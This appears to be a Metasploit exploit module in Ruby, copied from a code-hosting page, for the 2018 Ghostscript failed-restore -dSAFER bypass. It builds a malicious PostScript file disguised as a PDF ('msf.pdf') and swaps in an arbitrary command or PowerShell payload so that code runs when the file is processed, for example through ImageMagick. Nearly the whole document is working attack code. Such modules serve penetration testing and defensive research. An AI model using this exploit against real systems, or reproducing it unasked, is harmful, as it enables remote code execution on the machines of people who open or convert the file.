692ddc8b8b
The hype is over, and the target was provided as a bonus. Now update the module language to reflect that.
85 lines
2.6 KiB
Ruby
85 lines
2.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
PLACEHOLDER_STRING = 'metasploit'
|
|
PLACEHOLDER_COMMAND = 'echo vulnerable > /dev/tty'
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::Powershell
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Ghostscript Failed Restore Command Execution',
|
|
'Description' => %q{
|
|
This module exploits a -dSAFER bypass in Ghostscript to execute
|
|
arbitrary commands by handling a failed restore (grestore) in
|
|
PostScript to disable LockSafetyParams and avoid invalidaccess.
|
|
|
|
This vulnerability is reachable via libraries such as ImageMagick,
|
|
and this module provides the latest vector for Ghostscript.
|
|
|
|
For previous Ghostscript vectors, please see the following modules:
|
|
exploit/unix/fileformat/ghostscript_type_confusion
|
|
exploit/unix/fileformat/imagemagick_delegate
|
|
},
|
|
'Author' => [
|
|
'Tavis Ormandy', # Vuln discovery and exploit
|
|
'wvu' # Metasploit module
|
|
],
|
|
'References' => [
|
|
['URL', 'http://seclists.org/oss-sec/2018/q3/142'],
|
|
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1640']
|
|
],
|
|
'DisclosureDate' => 'Aug 21 2018',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['unix', 'win'],
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
['PS file', template: 'msf.ps']
|
|
],
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
register_options([
|
|
OptString.new('FILENAME', [true, 'Output file', 'msf.pdf']) # Fake PDF
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
sploit = template
|
|
|
|
# Replace our placeholder string with a random one
|
|
sploit.sub!(PLACEHOLDER_STRING, Rex::Text.rand_text_alphanumeric(8..42))
|
|
|
|
# Replace our test payload with the real one
|
|
case payload.arch.first
|
|
when ARCH_CMD
|
|
sploit.sub!(PLACEHOLDER_COMMAND, payload.encoded)
|
|
when ARCH_X86, ARCH_X64
|
|
# Futureproof in case unix gets x{86,64}
|
|
if payload_instance.platform_to_s == 'Windows'
|
|
sploit.sub!(
|
|
PLACEHOLDER_COMMAND,
|
|
cmd_psh_payload(payload.encoded, payload.arch, remove_comspec: true)
|
|
)
|
|
end
|
|
end
|
|
|
|
file_create(sploit)
|
|
end
|
|
|
|
def template
|
|
File.read(File.join(
|
|
Msf::Config.data_directory, 'exploits', 'ghostscript', target[:template]
|
|
))
|
|
end
|
|
|
|
end
|